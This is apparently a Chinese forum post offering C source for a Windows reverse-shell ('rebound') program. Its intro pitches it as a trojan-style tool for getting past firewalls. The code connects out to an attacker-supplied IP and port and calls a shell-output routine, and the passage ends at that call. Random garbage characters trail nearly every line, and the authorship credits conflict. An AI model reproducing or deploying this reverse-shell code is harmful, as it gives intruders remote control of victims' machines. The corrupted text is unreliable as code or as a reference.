这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ^,zE Nqg7
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/* ============================== 'U]= T<
Rebound port in Windows NT LXj2gsURu%
By wind,2006/7 >nmby|XtW
===============================*/ E",s]
#include 5)4*J.
#include *leQd^47
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#pragma comment(lib,"wsock32.lib") )
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void OutputShell(); q@;WXH O0
SOCKET sClient; ~/1kCZB
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; jEfrxlj
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void main(int argc,char **argv) M= !Fb
{ |RwpIe8~
WSADATA stWsaData; P8!Vcy938
int nRet; zsA6(?)u
SOCKADDR_IN stSaiClient,stSaiServer; jPYed@[+
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if(argc != 3) >FPE%X0+
{ bTZ/$7pp9
printf("Useage:\n\rRebound DestIP DestPort\n"); +<6L>ZAL
return; QQPbKok>
} {55{YDqx
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WSAStartup(MAKEWORD(2,2),&stWsaData); p3 I{
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); a*hOT_;#
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stSaiClient.sin_family = AF_INET; P{5p'g ,
stSaiClient.sin_port = htons(0); A/RHb^N
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); HZCEr6}(
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Yo@>O98
{ VaQ>g*(I
printf("Bind Socket Failed!\n"); 9Am&G
return; /pgfa-<
} Xtbuy/8"1
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stSaiServer.sin_family = AF_INET; ~\4l*$3(^
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); AuUT 'E@E
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 7^'TU=ss_
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) f!ehq\K1k
{ ]B=B@UO@.
printf("Connect Error!"); z %{>d#rw
return; Z"'rc.>a
} [VIdw92
OutputShell(); <